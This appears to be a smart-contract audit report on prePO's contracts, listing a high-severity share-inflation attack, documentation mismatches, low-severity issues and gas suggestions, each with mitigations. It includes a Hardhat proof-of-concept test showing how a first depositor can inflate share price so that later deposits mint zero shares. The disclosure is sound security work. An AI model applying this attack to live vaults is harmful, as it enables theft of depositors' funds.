prePO contest - GreyArt's results

Lines of code

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/Collateral.sol#L82-L91

Vulnerability details

Details

The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

Proof of Concept

• Attacker deposits 2 wei (so that it is greater than min fee) to mint 1 share
• Attacker transfers exorbitant amount to _strategyController to greatly inflate the share’s price. Note that the _strategyController deposits its entire balance to the strategy when its deposit() function is called.
• Subsequent depositors instead have to deposit an equivalent sum to avoid minting 0 shares. Otherwise, their deposits accrue to the attacker who holds the only share.

it("will cause 0 share issuance", async () => {
	// 1. first user deposits 2 wei because 1 wei will be deducted for fee
	let firstDepositAmount = ethers.BigNumber.from(2)
	await transferAndApproveForDeposit(
	    user,
	    collateral.address,
	    firstDepositAmount
	)
	
	await collateral
	    .connect(user)
	    .deposit(firstDepositAmount)
	
	// 2. do huge transfer of 1M to strategy to controller
	// to greatly inflate share price
	await baseToken.transfer(strategyController.address, ethers.utils.parseEther("1000000"));
	
	// 3. deployer tries to deposit reasonable amount of 10_000
	let subsequentDepositAmount = ethers.utils.parseEther("10000");
	await transferAndApproveForDeposit(
	    deployer,
	    collateral.address,
	    subsequentDepositAmount
	)

	await collateral
	    .connect(deployer)
	    .deposit(subsequentDepositAmount)
	
	// receives 0 shares in return
	expect(await collateral.balanceOf(deployer.address)).to.be.eq(0)
});

Recommended Mitigation Steps

• Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution.
• Ensure the number of shares to be minted is non-zero: require(_shares != 0, "zero shares minted");
• Create a periphery contract that contains a wrapper function that atomically calls initialize() and deposit()
• Call deposit() once in initialize() to achieve the same effect as the suggestion above.

Lines of code

https://docs.prepo.io/concepts/markets#expiry https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarket.sol#L145-L156

Vulnerability details

Description

The docs say that “If a market has not settled by its expiry date, it will automatically settle at the lower bound of its Valuation Range.”

However, in the implementation, the expiry date is entirely ignored. The default settlement after expiry is a 1:1 ratio of long and short token for 1 collateral token.

Impact

Should users believe that the market will settle at the lower bound, they would swap and hold long for short tokens instead of at a 1:1 ratio upon expiry. Thereafter, they would incur swap fees from having to swap some short tokens back for long tokens for redemption. User funds are also affected should long tokens are repurchased at a higher price than when they were sold.

Recommended Mitigation Steps

If the market is to settle at the lower valuation after expiry, then the following logic should be added:

// market has expired
// settle at lower bound
if (block.timestamp > _expiryTime) {
	uint256 _shortPrice = MAX_PRICE - _floorLongPrice;
	_collateralOwed =
		(_floorLongPrice * _longAmount + _shortPrice * _shortAmount) /
		MAX_PRICE;
} else if (_finalLongPrice <= MAX_PRICE) {
	...
} else {
	...
}

Otherwise, the documentation should be updated to reflect the default behaviour of 1:1 redemption.

Codebase Impressions & Summary

Overall, code quality for the PrePO contracts is very high. The contracts are well modularised and are clear enough to follow. The provided documentation was adequate in explaining key concepts like the pricing formulas for the long and short tokens, and valuation ranges. Special mention for providing a video walkthrough as well!

The contracts have 100% coverage, which unfortunately isn’t the norm. Kudos for having adequate tests to fully test the core contracts!

In total, there were 1 high, 2 medium and 5 low findings reported. The high severity issue pertains to a vault related edge case that describes a scenario where a malicious actor is able to DOS other users by artificially inflating the value of a single unit of collateral token. That aside, the quantity of other findings appropriately reflect the quality of the source code as it conforms closely to smart contract best practices.

Low Severity Findings

L01: Ensure _ceilingValuation > _floorValuation

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarket.sol#L78-L79

Description

No check was performed that the _ceilingValuation exceeds _floorValuation. While it bears no impact to functionality, it would be ideal to ensure that the valuations are correctly set.

Recommended Mitigation Steps

require(_newCeilingValuation > _newFloorValuation, "Ceiling must exceed floor");

L02: PrePOMarketFactory’s createMarket() has different parameter order in interface and contract

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarketFactory.sol#L45-L46

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/interfaces/IPrePOMarketFactory.sol#L52-L53

Description

The _governance and _collateral parameters are swapped in the interface and implementation. There is thankfully a check to ensure that the collateral is whitelisted before the market can be created (so market creation would have reverted). Otherwise, the variables would have been set incorrectly.

Recommended Mitigation Steps

Swap _governance and _collateral parameters in the interface.

L03: Duplicate shortToken param natspec in IPrePOMarket

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/interfaces/IPrePOMarket.sol#L18-L19

Description

shortToken parameter is duplicated.

Recommended Mitigation Steps

Remove either instance.

L04: _delayedWithdrawalExpiry adds unnecessary complexity and potentially griefs users

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/Collateral.sol#L124-L127

Description

The main motivation for _delayedWithdrawalExpiry is to mitigate flash loan attacks. In our opinion, having a validity period for withdrawals provides negligible protection.

The _delayedWithdrawalExpiry variable potentially griefs a majority of users if it is set a low value (1 block for example), where it becomes difficult for the average user to perform withdrawals.

Recommended Mitigation Steps

Remove _delayedWithdrawalExpiry and its corresponding check. A better way to mitigate flash loans is to prevent users from depositing and withdrawing in the same block.

L05: Set _governance and _treasury in factory

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarketFactory.sol#L45-L46

Description

The governance and treasury addresses are passed in as parameters whenever a market is created. It would be safer to save and retrieve these addresses to / from storage to avoid input errors.

Note that we are aware that it is mentioned in the README that gas optimization will not be awarded for struct packing but this low issue pertains to having a canonical source to retrieve the _governance and _treasury address (within the factory) to make it impossible for the owner to accidentally use the wrong address.

Recommended Mitigation Steps

To counter the dreaded stack too deep problem, we pack the parameters into a struct. This avoids the need to first initialize the treasury address as the governance address as well.

// PrePOMarketFactory.sol
// TODO: create getters and mutators for governance and treasury variables
address private _governance;
address private _treasury;

// notice the removal of _governance and _treasury
// TODO: Modify overriden interface function
function createMarket(
  string memory _tokenNameSuffix,
  string memory _tokenSymbolSuffix,
  address _collateral,
  uint256 _floorLongPrice,
  uint256 _ceilingLongPrice,
  uint256 _floorValuation,
  uint256 _ceilingValuation,
  uint256 _mintingFee,
  uint256 _redemptionFee,
  uint256 _expiryTime
) external override onlyOwner nonReentrant {
	...
	PrePOMarket _newMarket = new PrePOMarket{salt: _salt}(
    PrePOMarket.MarketInitParams({
	    governance: _governance,
	    treasury: _treasury,
	    collateral: _collateral,
	    longToken: ILongShortToken(address(_longToken)),
	    shortToken: ILongShortToken(address(_shortToken)),
	    floorLongPrice: _floorLongPrice,
	    ceilingLongPrice: _ceilingLongPrice,
	    floorValuation: _floorValuation,
	    ceilingValuation: _ceilingValuation,
	    mintingFee: _mintingFee,
	    redemptionFee: _redemptionFee,
	    expiryTime: _expiryTime
    })
  );
	...
}

// PrePOMarket.sol
struct MarketInitParams {
  address governance;
  address treasury;
  address collateral;
  ILongShortToken longToken;
  ILongShortToken shortToken;
  uint256 floorLongPrice;
  uint256 ceilingLongPrice;
  uint256 floorValuation;
  uint256 ceilingValuation;
  uint256 mintingFee;
  uint256 redemptionFee;
  uint256 expiryTime;
}

/**
 * Assumes `_newCollateral`, `_newLongToken`, and `_newShortToken` are
 * valid, since they will be handled by the PrePOMarketFactory.
 *
 * Assumes that ownership of `_longToken` and `_shortToken` has been
 * transferred to this contract via `createMarket()` in
 * `PrePOMarketFactory.sol`.
 */
constructor(MarketInitParams memory marketParams) {
	require(
	    marketParams.ceilingLongPrice > marketParams.floorLongPrice,
	    "Ceiling must exceed floor"
	);
	require(marketParams.expiryTime > block.timestamp, "Invalid expiry");
	require(marketParams.mintingFee <= FEE_LIMIT, "Exceeds fee limit");
	require(marketParams.redemptionFee <= FEE_LIMIT, "Exceeds fee limit");
	require(marketParams.ceilingLongPrice <= MAX_PRICE, "Ceiling cannot exceed 1");
	
	transferOwnership(marketParams.governance);
	_treasury = marketParams.treasury;
	
	_collateral = IERC20(marketParams.collateral);
	_longToken = marketParams.longToken;
	_shortToken = marketParams.shortToken;
	
	_floorLongPrice = marketParams.floorLongPrice;
	_ceilingLongPrice = marketParams.ceilingLongPrice;
	_finalLongPrice = MAX_PRICE + 1;
	
	_floorValuation = marketParams.floorValuation;
	_ceilingValuation = marketParams.ceilingValuation;
	
	_mintingFee = marketParams.mintingFee;
	_redemptionFee = marketParams.redemptionFee;
	
	_expiryTime = marketParams.expiryTime;
	
	emit MarketCreated(
	  address(marketParams.longToken),
	  address(marketParams.shortToken),
	  marketParams.floorLongPrice,
	  marketParams.ceilingLongPrice,
	  marketParams.floorValuation,
	  marketParams.ceilingValuation,
	  marketParams.mintingFee,
	  marketParams.redemptionFee,
	  marketParams.expiryTime
	);
}

Suggestions

S01: Make Collateral contract EIP4626 Compliant

Description

The EIP4626 standard has just been finalised. We recommend making the Collateral contract compliant to the standard. As our favourite optimisoooor @t11s succinctly puts it, “there are a terrifying amount of pitfalls that you can run into when writing a vault from scratch, i learned this first hand working on them at rari. If you want to sleep at night, skip that bs and use 4626”

References

Twitter thread by @t11s shilling EIP4626

Solmate’s base implementation

OpenZeppelin’s draft EIP

G01: Use transfer() instead of transferFrom()

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarket.sol#L121-L123

Description

The mintLongShortTokens() calls 2 transferFrom() functions to send funds to 2 recipients: the contract itself and the treasury. It would be more gas efficient to call 1 transferFrom + 1 transfer instead to avoid an additional allowance check.

Recommended Mitigation Steps

_collateral.transferFrom(msg.sender, address(this), amount);
_collateral.transfer(_treasury, _fee);
_amount -= _fee;

G02: transferFrom() Collateral directly to strategy

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/SingleStrategyController.sol#L38

Description

Whenever Collateral#deposit() is called, funds move through the controller, then to the strategy. A more gas efficient method would be to move funds directly from Collateral to the strategy.

Note that baseToken compatibility is assumed between the vault, controller and strategy.

Recommended Mitigation Steps

_baseToken.safeTransferFrom(_vault, _strategy, _amount);
_strategy.deposit(_amount);

G03: Remove _allowed parameter and instantiation of _publicMinting in PrePOMarket’s constructor

Line References

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarketFactory.sol#L75

https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarket.sol#L56

Description

Since _publicMinting will always be initialized to the default value false, the instantiation is redundant.

Recommended Mitigation Steps

Remove the _allowed parameter and instantiation of _publicMinting.